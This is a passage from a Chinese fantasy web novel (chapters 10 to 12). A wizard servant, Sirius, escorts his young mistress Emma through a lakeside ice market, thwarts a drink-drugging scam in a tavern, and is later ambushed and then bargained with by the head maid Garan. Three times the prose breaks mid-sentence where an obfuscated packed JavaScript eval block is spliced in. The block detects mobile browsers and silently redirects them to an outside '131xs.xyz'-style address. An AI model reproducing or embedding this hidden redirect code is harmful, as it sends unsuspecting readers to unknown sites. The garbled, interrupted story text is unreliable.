岸边拉着一圈围栏,巡逻的警卫来来回回地绕着圈。冬天无法通航,船都停在港口边上的船厂里,现在湖面上空空荡荡。 根据流经河湖的大小,西里斯甚至能大致推测出一座城市的规模。 水源总是人类聚居地的起源,常年干旱少雨、遍地沙漠的大陆内部更是如此,越大的水源,傍着它所建立的城市也总是更恢弘。 费拉约尔斯的湖泊面积和它的城市规模相匹,都是中上程度。它所连接的河流途经五六座城市,勉强可以做点跨国生意。 西里斯环顾了一圈周围的店铺。 前领主加重税金,受到冲击最大的就是这些小本生意,附近的店关了不少,现在又是冬季,熙熙攘攘的人群仍然难掩环境的萧条。 “鲜花之都”费拉约尔斯,等天气回暖,鲜花盛开的时节,会是生意旺季。 借河流将商品运出去也好,吸引游客来访也好,以重整这座城市经济的开始来说,是个很好的时点。 但是——西里斯对这些没什么兴趣。 港口附近有条小商品街,有很多摆摊的手艺人。 艾玛正站在摊位前聚精会神地看着一位老先生在冰上雕花,连呼吸都放得很轻,好像生怕呼出的气息把冰给融了。 这块区里有门特色生意,专做各种各样和“冰”相关的制品,从冰雕冰画,到把花草水果石子等等各种东西封进冰块里做摆件,种类丰富,于是也被称作“冰市”。 冬天是他们开张的好时节。冰制品的制作和保存除气温外,更和魔法道具有关,保存时间越长越贵,但保存时间短的很便宜亲民。 很多小孩都喜欢看人做冰雕,有余钱的还能定做自己喜欢的图案玩。 艾玛听凯他们说了之后就很好奇,只有像费城这样商业还算发达,又傍着水源、不太缺水的城市才会做这样的生意。 艾玛从前没见过这种工艺,因此今天主要就是冲着冰市来的。 雕冰的老先生见惯了小孩,看艾玛时而屏息凝神,时而惊奇赞叹的捧场反应很高兴,雕着雕着就乐呵呵地和艾玛攀谈起来。 艾玛也没认生,用地道的波克语和老人聊着。 西里斯听不懂方言,借助翻译的法术大致听了个意思。 他看出艾玛兴致很高。 比刚见到的时候活泼多了。西里斯暗自评估。 天生的性格是一部分,后天的环境影响也不小。 刚认识艾玛的时候,她在沟通表达上尤为消极,恐怕是过去的生活环境让她不能表达自己的想法,为了迎合环境而习惯了沉默。 她很擅长察言观色,和人交谈时会下意识去关注对方的反应。 西里斯觉得通人情是好事,但这项优点对现在的艾玛来说反而是阻碍。 她缺乏强大的魔法师所必须的“信心”,对别人的观察和在意反而会加剧她自身做出判断时的动摇。 而且,随着女巫与生俱来的天赋与敏锐进一步显现,这份“观察能力”只会进一步放大。西里斯对于她能否做好其中的平衡有些担忧。 至于艾玛自己有所觉察,担心与人格格不入的那些性格特质,在西里斯眼里倒完全不是问题。 女巫们性格迥异,特立独行的程度,说是惊世骇俗都不为过。 和西里斯见过的女巫相比,艾玛目前为止实在太过正常了,正常到西里斯都怕她哪天突然觉醒了女巫那种多姿多彩的疯,给他一个结实的惊吓。 艾玛扯了扯他的衣角,将西里斯从沉思中拉回神来。 她拿起那个老先生刚刚在冰板上雕的游鱼给他看,鱼鳞上着了红色的颜料,看起来很灵动。艾玛的眼睛亮闪闪的。 西里斯的目光从那块冰板上划过:“嗯,刻得很生动,很好看。” 西里斯说的是通用语,艾玛听了又翻成方言讲给老人听。 西里斯的目光落到她仍然牵住自己衣角的手上。 艾玛越来越信任他了。西里斯客观地想。 他对此没有感想。 总的来说,西里斯并不在意艾玛喜不喜欢自己这件事。喜欢还是讨厌都无所谓。 如果硬要带上感情色彩,西里斯反而会评价,他根本不想和女巫关系太密切。 但是艾玛太年幼了,没有可以依靠的身世背景,甚至不再有可以倾诉的家人朋友。发自内心的自信不可能在这伶仃孤岛一般的环境中形成。 哪怕为了他们的契约,为了西里斯自己的目的,他也会主动为艾玛创造能让她更有安全感的环境和人际关系。 而对于现在能力还很弱小,非常被动的艾玛来说,西里斯是连接这种环境的桥梁,实现这一切的基础。如果不信任他,当然也不可能放心接纳他所创造的环境。 从这个角度来说,艾玛信任他是件好事。至于其他的…… 西里斯看着艾玛接过老人包装好的冰雕时雀跃的样子,告别后一蹦一蹦过来牵他手的步调。 嗯……还完全是小孩子啊。西里斯想。 艾玛挑东西的主要标准是“有趣”。 她没见过的,不理解的,觉得新鲜的东西,一天下来也买了不少,有几件打算回去后再打包打包送给她城堡里的朋友。 于是她也顺势问了西里斯有没有想要的东西,不出意外地得到了“没什么特别有兴趣的”这种答复。 本来花的就是西里斯的钱,没有挑什么太贵重的东西给他的必要,街头的小店主打的也就是一个琳琅满目、物美价廉。 艾玛在街边小摊上售卖的微型盆栽中选了一盆,这种盆栽叶子肥厚,需水量少,不怎么养也能活。 西里斯收下她选的礼物,道了声谢。 那天天气是阴天,没有炽烈的阳光,时间的变化不那么明显,傍晚的时候才显出一点暗沉。 西里斯事先仍然向厨师长预定了今天的晚餐,艾玛在附近买过点小吃,但还是留了回城堡吃晚饭的胃口。 但她路过一家酒馆的时候却停住了脚步,西里斯顺着她的目光看过去,看到酒馆点单台上悬挂着的两列球形灯泡。 天才稍微暗了点,店面就已经摆出了做夜生意的架势,将店里的灯都点起来了。 那两列球形灯泡的灯芯形状做得特别,点亮后像是灯花炸开的瞬间在那个玻璃壳子里凝固。 艾玛盯着那灯泡,脸上写着“好想近距离看看”几个字。 还没等她试探地将询问的目光投向西里斯,西里斯就主动提议:“要进去喝点什么吗?” 这建议实在很好,还不影响她的晚餐。 经此一问,艾玛甚至觉得真有点渴了,积极地点头回应。 西里斯替她拉开酒馆的门,艾玛走进去,直奔前台。 西里斯跟在她身后,目光在酒馆内部随意扫视了一圈。 还没到晚高峰,酒馆里的客人不多。他们进门时有几个人投来了视线,似乎低声谈论了些什么,声音淹没进酒馆嘈杂的人声里。 在这儿喝酒寻乐的人要么大声说着话,要么打着牌抽着烟,酒馆里的空气和噪音环境都不太好。 艾玛倒没在意这些,前台边上的椅子有点高,她扒着台沿踩着搁脚的地方就自力更生一鼓作气地爬上去坐好了,眼神直接粘在了近在咫尺的灯泡上。 前台的服务生拿着菜单,看了看年幼的女孩,还是把视线投向了她身后的西里斯。 “我的主人想喝点饮料。”西里斯则这么说。 服务生还算有点眼色,稍微愣了下,就反应过来,把菜单递给了艾玛,指给了她饮料的目录。 艾玛接过单子,凭借这半个月来的文字学习,成功地在菜单上认出了“麦茶”这个词,当即决定就这个了,别耽误她看灯泡的时间。 西里斯在旁扫了一眼,菜单上有通用文字和当地的波克文字,他确认艾玛选的不是什么酒精饮料,没有问题。 点完单艾玛就继续看灯泡,而西里斯一边关注着她,一边习惯性地打量周围环境。艾玛这种不受环境影响的专注和莫名的好奇心在他看来都是优点。 艾玛没有在意刚才西里斯的叫法,他在别人面前向来这么称呼她。 西里斯私下和艾玛谈话时会有意减少叫她“主人”的频率。艾玛虽然敏锐,但西里斯通人情的本事绝不比她差。 艾玛原本是奴隶,还不习惯现在的身份倒转差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881807|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别,被他这么称呼反而会觉得别扭;此外,她对于想要交好的对象似乎更渴望更加对等和平视的关系,对雪莉她们也是如此。 西里斯如果总是这么称呼她,会是对他们之间距离关系的一种强调和提醒。 在西里斯想要取得艾玛更多信任的阶段,做这种强调反而不利。 西里斯也向艾玛解释过坚持在人前这么叫她的理由。 确实像城堡中其他佣人一样称呼她为“大人”或者“小姐”更自然,但谁都可以对她作此称呼。 以艾玛的年纪,更多人听见这样的叫法,只会觉得她身世不凡,但那些敬畏都是冲着她身后或许有财有势的父母的。 奴隶称呼自己的契约对象为“主人”很正常,且这个称谓只有一个限定对象,也就是奴隶的所有者本人。 西里斯在用这种方式向人宣告艾玛对他的所有权,也暗示他效忠的并不是这个年幼的孩子背后的什么人,而是她本身。 在此之上,西里斯越优秀,越强大,他所效忠的主人也越值得别人重视。 水果在市场上的价格更高,也更少见,而大麦则亲民平价很多,过去母亲偶尔会用它做点茶跟艾玛一起喝。 虽然艾玛现在的身家让她一下子水果自由,但习惯难以改变,她还没喝惯果汁之类的奢侈饮品,麦茶已经是她走进店里下意识能想到的比较好的饮料了。 麦茶制作也容易,艾玛点的单没花多少时间,就从后厨端了上来。 端着盘子的侍应生将玻璃杯放到她面前,艾玛低头一看,才发现饮料里浮着层层叠叠的冰块。 就算酒馆里人气旺些显得不那么冷,现在也怎么都不算是个暖和的天气。 艾玛点的时候下意识以为店家肯定会做热饮,再不济也是常温,没想到人家端上了半杯茶半杯冰。 难道这也是当地特色? 艾玛倒是不挑剔,稍微迟疑了一下就准备端起来喝。 但在她要伸手之前,男人戴着黑手套的手切进她的视野,抢先一步拿起了那杯饮料。 西里斯出门的时候戴着双黑手套,艾玛认得他的手,惊讶地转过头。 看见西里斯举起那杯饮料,倒在了端来饮料的侍应生头上。 茶水把人淋透了,杯里的冰块丁零当啷砸在木地板上。 周围的人都愣了,艾玛也愣了。 她想,西里斯可能看出来她其实不太想喝冰的,但她也没提前说明,不至于用这么过激的手段吧? 不过侍应生的反应也出乎艾玛意料,他首先一愣,然后表现出一些仿佛坏事败露的惊慌,又迅速冷静下来,露出适应情境的愤怒。 “你想干什——” 侍应生愤怒的质询只问出了一半,就卡在了嗓子里。周围面露凶色刚从座位上起身想要靠近的几个人也定在了原地。 从他们惊愕茫然甚至恐惧的目光中,可以看出发生了什么意外。 艾玛倒是知道那个“意外”是什么。 她看见从墙壁、房顶、地面四处延伸出来的红线缠绕住了那些刚刚想要行动的人,控制了他们的行动。 在遇见西里斯的那天,艾玛见过相同的红线。 酒馆里的人都注意到了这边的骚动,又为这突然的诡异安静全部沉默下来,不明情况的人互相使着眼色。 西里斯看着自己手里的空杯,慢条斯理地翻转手腕,与此同时,缠在那些人脖颈上的红线开始收紧,使他们发出惊慌和窒息的痛苦气声。 西里斯看向惊恐的侍应生,平静的声音里掺着一线轻飘的冷意:“你们自己知道,饮料里加了什么。” 他说这话的声音刻意放低了,酒馆里虽然安静,远处的人还是听不到。 但艾玛听见了,有些惊讶。 西里斯刚刚用的是波克语。 虽然发音有些古怪,但很清晰。艾玛以为他不懂波克语。 而侍应生听见他的话,眼神更加惊恐了。 西里斯松开手,玻璃杯掉在木地板上,砰地爆开,但碎片完全没有碰到他。 缠在侍应生身上的红线消失了,他还没从恐惧里回过神来,西里斯就指了指他身后:“再做一杯,要热的。” 11.商量 表现得像对方真的只是上错了饮料,要换杯新的这么简单。 侍应生打了个冷战,摸着自己还在疼痛的脖颈,迅速跑去了后厨。 酒馆里寂静了片刻,看到事情好像结束,有与此事无关,单纯想凑热闹叫个好或者骂几句什么的路人,艾玛看得很清楚,在他们开口的瞬间,红线也爬上了他们的身体,瞬间把那些声音和人一起锁住了。 西里斯回过头来温和地对艾玛说:“抱歉,您再等一会儿。” 现在的情境太不合适,艾玛压下疑问,稍一思索,决定继续看前台的灯泡。 但她没能看多久,跑去后厨的侍应生实在不敢让这煞神多等,飞一般地端着新沏的麦茶来了。因为茶水太烫,还紧急放了几块冰块,插上吸管装在高脚杯里。 很奇妙的搭配。艾玛看着冰块在她眼前以肉眼可见的速度融化,一时产生了观察的心情。 店里实在寂静得太诡异了,在这环境里长待确实不自在。 艾玛看西里斯这次没有阻止,于是把吸管拿出来,对着杯沿直接喝了半杯,放下杯子,示意可以走了。 西里斯扶她下了过高的椅子,向艾玛确认没有其他需要,才牵着她走出店门。 出门后几步,西里斯打了个响指,艾玛远看着那些红线瞬间消失,被红线松开的人急忙确认自己脑袋和脖子的关系仍然亲密,酒馆里才再度喧闹起来。 “很在意吗?”西里斯问她。 “他们往饮料里加了什么?”饮料是在后厨做的,印象里,艾玛也不觉得西里斯一直盯着那个侍应生的动作。 “会让人体温降低的药物,控制剂量可以当退烧药,但他们加了太多,大约是希望您当场感到不适,我关心则乱,他们好强卖相抵的药物讹钱。” “可是,你没看见他们下药吧?” “这是魔法师的直觉,您以后也一定能掌握。” “哦……”艾玛理解了,觉得想学的和需要学的东西实在还有很多,“还有……我记得你不会波克语。” “我最近正在学。”西里斯解释。 最先学的是威胁用的话吗? 艾玛心说,他刚才用的可不是波克语里基础的常见词。 “翻译的法术可以让我听懂各类方言的含义,但这种法术的本质是让我跨过语言,直接领会说话的人想表达的‘意义’,仍然会有很多偏差。 “用法术将我的话翻译成方言也是如此,说几句还没问题,多了就会让人察觉到异常。领主城堡对佣人的素质要求较高,会讲通用语的人比较多,但既然要在这座城市久待,我还是得学会这里的语言才行。” “你已经很忙了,还要学语言吗?” “我有过很多类似的学习经历,学一门新语言不难。但,确实,工作还是再少一些更好。”西里斯笑道, “关于城主代理的人选,我差不多考虑好了。如果您没什么想法,我会在近期去和对方接触。像我之前承诺的,等您准备好成为真正的领主,代理人不会妨碍您。” 艾玛虽然对于领地管理的事还一窍不通,正专心努力地和音标文字搏斗,但一些重大事项的决定,西里斯还是会告知她,并考虑她的意见。虽然艾玛现在给不出什么意见。 “你的判断肯定没问题,我相信你。”艾玛用力点头表示自己很支持。 她走几步,又迟疑了一下:“我是不是刚刚不应该去那个酒馆?” “为什么这么想?” “我……父亲以前也说,酒馆不是小孩应该去的地方。我刚才看见那里的灯……忘记了。” “您不用多虑。” 西里斯说得很自然,话里却异常肯定,“有我在,您哪里有去不了的地方?” 艾玛怔了一下,低着视线,沉默一会儿后,握紧了西里斯的手:“嗯。” “这附近的治安不好,跟前领主的疏于治理和经济下滑有关。根源不解决,再惩治也没太大意义。 “大概是今天在这附近正好被他们看见,误以为是可以捞一笔的冤大头。他们没打算害人性命,所以我也只是吓唬他们一下。” “嗯。”艾玛觉得西里斯处理得很好,“啊,对了,我看见了很多红色的线,那是一种魔法吗?” “可以这么说。那些红线是我的‘想象’的具现,最直接的魔力显现形式。 “仍然用空气中的水分来比喻——魔力受到吸引凝聚,就像水珠粘成一串,所以形状看起来跟线一样。这样的具象是所有魔法的基础,如果有更详细的要求,它们才会变化成更复杂的形态。 “比如刚才的‘行动限制’和‘语言限制’,只要用魔力环绕对方就可以,是魔力控制中的基础,以最简单的‘线形态’就可以完成。” 西里斯缓和地解释,“魔力不够强的人看不见那些线。您能看到,足够证明您的魔法天赋绝对不低。” “是,这样吗?” “是的。”西里斯再次肯定。 艾玛愣了一会儿,明白过来为什么刚才店里的人会茫然而恐惧,因为他们看不见那些红线。 而她在见到西里斯的那一天,就很清晰地看见过漫布在那座奴隶市场里的红线。 艾玛第一次确实地有了自己拥有异于常人的魔法天分的实感。 这么消磨了一段时间,回城堡就更加紧迫了。 艾玛这时才反应过来,西里斯牵着她走的并不是朝向城堡的方向。 “在回去之前,我还要去个地方。”西里斯对她说,停在湖边。 天色暗了,靠近湖边更危险。 一个巡逻的警卫看见他们,过来正想提个醒,西里斯倒主动向对方走了过去。 “你好。”西里斯对警卫说,“我捡到了一些东西,不知道是谁掉的,麻烦你找找看它们的失主。” “哦……可以啊,好的。”警卫没多想,觉得这小伙子还怪热心肠的,于是伸出手。 然后看见西里斯打开外套,从里面拿出了一堆……一堆,五颜六色形状各异的钱包。 警卫懵了,在西里斯的目光下呆滞了十几秒才懵懵懂懂地将单手换成了双手去接那堆钱包,仍然没接稳,有几个滚到了地上。 艾玛虽然也很震撼,但反应比警卫快多了,贴心地帮忙把掉在地上的钱包捡起来,递给西里斯,西里斯向她道谢,然后再把钱包放到警卫怀里。 警卫还在发懵,没能计出数,看那些钱包起码有二十几个,像是魔法凭空变出来的。 他好不容易找到了自己的舌头,努力发出一些打结得勉强能听懂的声音:“这……这、这些是,你……捡的?” 如果西里斯不解释,场面看起来更像一位今日战功卓著的扒手主动自首。 “是的。我在路上捡的。”西里斯很镇定,说得像今天地上长钱包一样,“那么,麻烦你了。告辞。” 艾玛轻巧地牵上他的手走了,留下困惑的警卫。 她倒有点明白大概发生了什么。 艾玛对街上混混们干的活不陌生,从前还有几个当扒手的小孩跟她关系不错。 西里斯今天第一次在街上被撞到的时候,艾玛的第一反应就是去摸他的口袋,但西里斯的钱包还好好的在那里。 第二次她也去确认了西里斯的口袋,没有异常。 没有异常也是一种异常。艾玛有点困惑,还以为换了异地大家风情不同,这边不搞撞人扒窃这手了。 而且,她也不觉得西里斯是个好得手的对象,如果真有谁对他下手,西里斯肯定会比她更早发现。 这么一想,艾玛就放心了,后面再没有确认过。 只是没想到,西里斯不仅发现了有人要偷他的东西,还把小偷身上的钱包反顺了过来。加上今天撞来撞去和擦肩而过的一些模糊记忆,艾玛估计数量可观。 可能是觉得一遍遍给警卫送失物招领太麻烦了,才在准备回去的时候做了个今日总结。 但他之前一点都没声张,平静得好像无事发生。 艾玛觉得,西里斯好像很有耐心。 回到城堡的时间刚好,艾玛顺利地赶上了晚饭,饭后回房间和雪莉莫妮卡盘点了今天的收获,分分礼物,然后开始看书。 她看书的积极性很高,沃妮亚女士也赞叹没教过这么努力的孩子。 西里斯送她到城堡后就直接拐去了办公室,处理积压的工作,叫女仆帮他把晚餐直接送过来。 他不需要进食,但别人总看不见他吃东西会引起怀疑,所以时常得做个样子。他大概知道自己在佣人里是个什么形象,女仆看他的眼神既敬畏又同情。 听命于贵族的奴隶抛头露面,甚至替主人完成重要工作都是寻常事。 但因为奴隶的身份,总也免不了被轻视侮辱,这些待遇往往由主人的身份地位和奴隶是否受重视而决定。 艾玛年纪尚幼,未在社交场上有什么名利影响,还谈不上靠名头在外面给自己的奴隶提供什么庇护或撑腰。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885209|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但西里斯办事的手腕已经一目了然,被他敬重的主人是什么来头,自然会引发聪明人的主动联想。所以从别人对待自己的态度里就能得到许多信息,这对西里斯倒是种迅速有效的筛选。 文书工作枯燥又繁琐,还有关于新领主接任后,各地发来的源源不断的问候、试探、邀请。 西里斯花了一些时间理清波克奈利王国的内部政治环境,给必要的人回信,挡回各类试探,还有些毫无价值的看完直接烧掉,办公室取暖的火炉中堆着不少这样的纸灰。 毫无新意。 西里斯对这些政治社交手段熟悉到早就厌烦。 波克奈利王国目前外交情况良好,没有陷于战争之危,贵族之间的内部斗争多向商业倾斜,利益争夺还包裹着更多礼仪的外衣。 “和平时代”。他想。 有人敲了敲门。 “请进。”西里斯写完手上那行字才抬头。拿着餐盘推开门的是嘉兰。 西里斯并不意外,但他仍然露出一点惊讶的神色:“怎么麻烦你亲自送过来?” “不比您辛苦。听说您一回来就又开始忙这些。” “分内的事。” 嘉兰将手上烛台形的手持灯具放在门口的柜子上,走到西里斯身边,放下餐盘,看了两眼桌面文件的厚度。 “我有些事想和您商量……您还要忙很久吗?” 西里斯垂着眼,继续以他的速度写着文书,语气很随意:“不,再半个小时就差不多了。是什么急事吗?” “不是太重要的事,但我想问问您的意见。如果您不介意,我在这里等您结束再谈。” “好的,那麻烦你等一会儿。” 房间里有待客的椅子,但嘉兰站在旁边等待。 西里斯没说什么。在他继续写东西的时间里,城堡到了熄灯时间,嘉兰帮他打开了桌面的台灯,两人没有多余的交流。 西里斯最终花了二十分钟完成他预定的工作,比跟嘉兰说的要早上一些。 “您还没吃过晚餐,菜已经凉了,要拿去热一下吗?”嘉兰看向他手边没有动过的食物。 “不用了,谢谢。” 西里斯放下笔,拿起餐刀,一边切开食物,一边对嘉兰道,“说说你的事吧。” 嘉兰双手背在身后,站姿仍然很端正:“前任领主离开之后,宴会厅就没有再使用过,但是女仆们仍然在每天打扫。如果您近期没有使用那里的计划,我想叫她们把一部分用具放进储物室,也就不用天天清理。” “嗯,没有问题。我们最近不会举办宴会。” “那里还挂着布雷德尔家族的家徽。”嘉兰的口吻平静,公事公办的语调, “还有印着家徽的帘子、桌布、灯架等用具,累计起来价值不菲,如果全部处理掉,损失很大。我想请您亲自过去看看,哪些要留,哪些销毁。” 西里斯将餐盘里的食物吃了一半,拿起餐巾擦了擦嘴:“好,现在过去看看吧。” 嘉兰主动拿过他桌上的餐盘:“这些,等会儿我顺路到厨房放一下。” 宴会厅的顶灯线路没有改过,需要时仍旧可以整晚点亮。 嘉兰打开了入口处的总开关,璀璨的吊灯和一整圈排布在墙上的壁灯同时亮起,仿佛过去每个彻夜通明、歌舞不息的夜晚,空旷的厅堂和长桌旁虚置的座椅在等待。 嘉兰关掉手上烛型的灯具,随手放在宴会厅边角的柜台上。 因为每天仍然有人打扫,宴会厅里很干净。 装饰的花瓶换过水,但插在水里的鲜花已经半枯了,花瓣的边缘发黄卷皱。 等西里斯走进来打量着环境的时候,嘉兰带上了门,指向墙壁和窗户给他看:“那里挂着的家徽的旗帜,还有窗帘——印着家徽的纹样,拉上的时候才能完整看见。那窗帘的用料很贵,清洗也不容易。您看看怎么处理好。” 西里斯于是走向那边的窗户,拈起窗帘搓了搓,感受它的材质。窗帘被拎起一角,确实能看见上面印着什么纹样。 这时厅里所有的灯突然同时熄灭。 黑暗的厅堂里只倾进当晚明亮的月光,水波一般寂寥地从苍白的桌布淌落到地上。 离西里斯的脖颈咫尺之近的匕首反射着惨白的寒意,隐隐倒映出西里斯仍然漫不经心的目光。 “我以为我们能够好好相处的,温布德尔小姐。” 少女的声音沉下来,一字一字扣着冰冷的怒火:“别用姓氏叫我。” 12.谈判 “你更在意这个吗?” 西里斯松开窗帘,转过身。 那匕首离他的脖颈很近,但再也无法往前一厘。 他从被定在原地的嘉兰手中抽出匕首,借着月光随意地看了两眼。 虽然嘉兰无法再做出任何行动,但西里斯并没有限制她的语言能力。 面对着突然无法动弹的现状,嘉兰更确信自己的判断,冷笑了一声:“你果然是巫师。” “我没有想要刻意掩盖。” 西里斯看向她,“我猜你还有两个问题。首先,食物里的药剂量太轻,对我没有作用;其次,想到使用屏蔽魔法的法阵来对付法师值得肯定,但很遗憾,你选错了使用对象。” 嘉兰定定地望着他。 她有一双锋利又明亮的眼睛,不再掩藏想法后,更锐利得让人心惊。 “你知道,那为什么要主动跳进陷阱?” “你不打算要我的命。”西里斯没有回避她的眼神,也没有因为那目光不自在, “你早晚会来找我。半个月……以一个十七岁的孩子来说,耐心和算计都还不错。” 西里斯绕过她,走向她身后,声音从空旷的宴会厅里绕了个弯飘回来:“不用紧张。重新找个女仆长很麻烦。” 嘉兰感到身上一轻,刚刚的束缚感骤然消失,视野闪了一下。等她回过神,发现自己被法术移动了位置。 西里斯拉开长桌边的椅子,背对着刚才的窗户坐下。 他拿着嘉兰的匕首,嚓的一声将它插进宴会长桌正中,用空空的手向桌对面的嘉兰比了个邀请的手势。 “我不喜欢被人押着谈话,想必你也不喜欢。请坐吧。” 嘉兰看了他几秒,拉开西里斯对面的椅子,真的坐了下来。 “你的通用语很标准。”嘉兰没有表情地陈述, “太过标准,听不出母语的口音,也或者你的母国离这里太遥远,我不熟悉那种语言。你甚至不懂波克语,那么你不仅不是波克奈利人,停留在这个国家的时间也不会太长。” “一个与此地非亲非故的巫师,你要这座城市,到底有什么企图?” 西里斯耸肩:“我对这座城市没有任何想法。只是我的主人想要,所以我帮她拿了下来,就这么简单。” 嘉兰嗤之以鼻:“你拿一个十二岁的孩子当借口?” “愿不愿意相信是你的自由。我已经给了我的回答。” 嘉兰盯着他,放在桌面的手收紧,压下情绪追问:“你效忠于谁?” “我们的小领主,不是很显然吗。” “我是问,那孩子背后是谁?” 西里斯微微叹息:“没有什么‘阴谋家’,或者‘其他人’。你根据自己拟定的假说来质问我,不会轻易相信与自己推测不符的‘事实’。 “如果你一开始就抱着这么高的成见,我们的对话会很吃力。还请麻烦你告诉我,为什么你会对我有这么强烈的敌意?” 嘉兰沉默了一会儿才开口:“你很厉害。一个不懂得当地语言的异乡人,没多久就理解了这里的一切如何运转。所以我才不能理解。无论是你浮于表面开玩笑一样的‘忠诚’,还是……你明明有这样的能力,却不打算让这座城市变好。” 西里斯顿了顿:“有吗?” “我看过你写的草案,与其说温和得让人吃惊,不如说是‘保持现状的毫无作为’。我不相信,像你这样的人,没有更好的处理方式。” “你很肯定。”西里斯说,“那么,我也有一些困惑。” “温布德尔·嘉兰,你的家庭很普通。父亲是骑士,母亲是裁缝,家里有两个妹妹。你从小跟着父亲学习骑士的技艺,剑术和体术都有很好的基础。 “你的父亲跟前前任领主,布雷德尔·道恩关系很好,如同兄弟。 “两位在多年前一起为这个国家立下了功绩,布雷德尔因此得到这座城市,你的父亲则得到了授封和‘温布德尔’这个赐姓——跟‘布雷德尔’的拼写相近,也是在赞扬二位的友谊。 “但在你八岁的时候,你的父亲因公殉职。 “布雷德尔先生对你的家庭表示了抚恤,并请你入职领主的城堡,成为他的女儿——布雷德尔·德尔薇小姐的贴身侍女。 “你接受了。这份工作一直持续到你十五岁,成为这里的女仆长为止。” “了解得真清楚。”嘉兰没什么多余的表示。 “所以,这样的出身,这样的经历,我不免有点好奇。 “你有出色的领导力和管理能力,从履历看来,你没有受过相关的教育。如果说这些是性格和经验的结果,也可以解释。 “但像你刚才所说,你认为我的方案‘不够好’——你非常肯定,因为你自信能写出更好的。 “这绝不是没有受过相关训练的人能做到的事。”西里斯缓缓道, “那么,这些知识是从哪里来的?” 嘉兰停了片刻,语气平静:“道恩先生只有一对儿女,妻子去世后,也没有再娶。他对两个孩子没有偏袒,平等地让他们接受相同的教育——‘领主的教育’。 “也是造化弄人,长子没有好好学习,女儿也对这些领主课程不感兴趣。我总是陪德尔薇一起听课,她不愿意写的作业,大多是我帮她完成的。她已经不在这里……现在谈这个也算不上告状,没什么好掩盖。” “布雷德尔小姐离开这里之前,曾向你发出邀请,希望你能和他们一起离开。”西里斯说,“你拒绝了。” “是。”嘉兰承认。 “为什么?他们承诺你可以带上家人,也不用担心经济问题。因为布雷德尔先生?”西里斯道, “我听说他甚至有点怕你,但仍然压不住你在佣人中的人望,更别提他妹妹喜欢你。” “戴斯是个废物。”她直呼前领主的名字,熟稔的口吻里毫不留情,“我对他没什么好说的。德尔薇……她没有我也能照顾好自己。” “我明白了。”西里斯点头,“比起亲如家人的布雷德尔,你更关心费拉约尔斯这座城市。” 嘉兰没有否认。 她抬头看向墙上的旗帜,布雷德尔的家徽仍然悬挂在那里:“我出生在这里。道恩先生是个好领主。他还在的时候,一切都在往好的方向走。他甚至也会对我提那些理想,希望这座城市如何建设,希望这里有怎样的将来。 “但一切没来得及真正变好,就突然不可挽回地变坏了。” “我总觉得我应该为这里做些什么……”嘉兰收拢了按在桌面的手, “我能够做些什么。” 西里斯的口吻很淡:“人类总是对故乡有太多情结。” 嘉兰挑起眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891077|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,冷冷道:“那你的故乡又是对你做过多残忍的事,才会让你这么看不起别人对故乡的感情?” “牙尖嘴利。”西里斯笑了一下。 他敲了敲桌面,做出总结:“那么,我明白你敌意的原因了。你说我‘没有打算让这座城市变好’……” 西里斯说:“我承认这点。” “啊?”嘉兰愣了一会儿,确认自己没听错,然后更深地皱起眉。 “想要改变一座城市非常困难,需要时间,精力,甚至在这之上的更多东西,比如‘追求’和‘热情’。 “很遗憾,就像你所说,我对这座城市毫无感情。更彻底一点,甚至没有企图。我只需要这座城市保持稳定,‘变化’需要付出,而‘不变’是最简单省力的。” 西里斯说得很坦然。 嘉兰看他这态度甚至是狡辩都不肯多狡辩一句,顿时火大起来:“你这家伙……” “所以,我正在找合适的城主代理。如果一切顺利,下个月他就会接手相关的工作。是你们当地的名人,你一定认识。” 这个转折同样很突然,嘉兰有点噎住了。 “我需要这座城市,只是因为我的主人想成为这里的领主。在她做好准备之前,我会替她管理好一切。 “所以,你有什么理想,我不在意。你想做什么也都请便。” 西里斯看着嘉兰的眼睛,“但是不要挡她的路。否则我会除掉你。” 嘉兰今晚第一次看到他认真的眼神,莫名感到战栗。 但她自己也不能解释,她居然笑了:“这是警告?” “是威胁。”西里斯说。 嘉兰犹豫了片刻,才问出她从前听了就感到荒谬的假设:“她真的救过你?” “是啊。我欠她一条命。” 西里斯抽出桌面上插着的匕首,本该被扎穿的桌布和桌板却完好无损。 他将匕首横过来放在桌上。 “我想我们聊得差不多了。如果你还有什么问题,下次可以直接问我。贸然把刀架到一个巫师的脖子上是很危险的行为。” 嘉兰看向匕首雪亮的刀刃:“我还以为刚刚擦到你的脖颈了。” 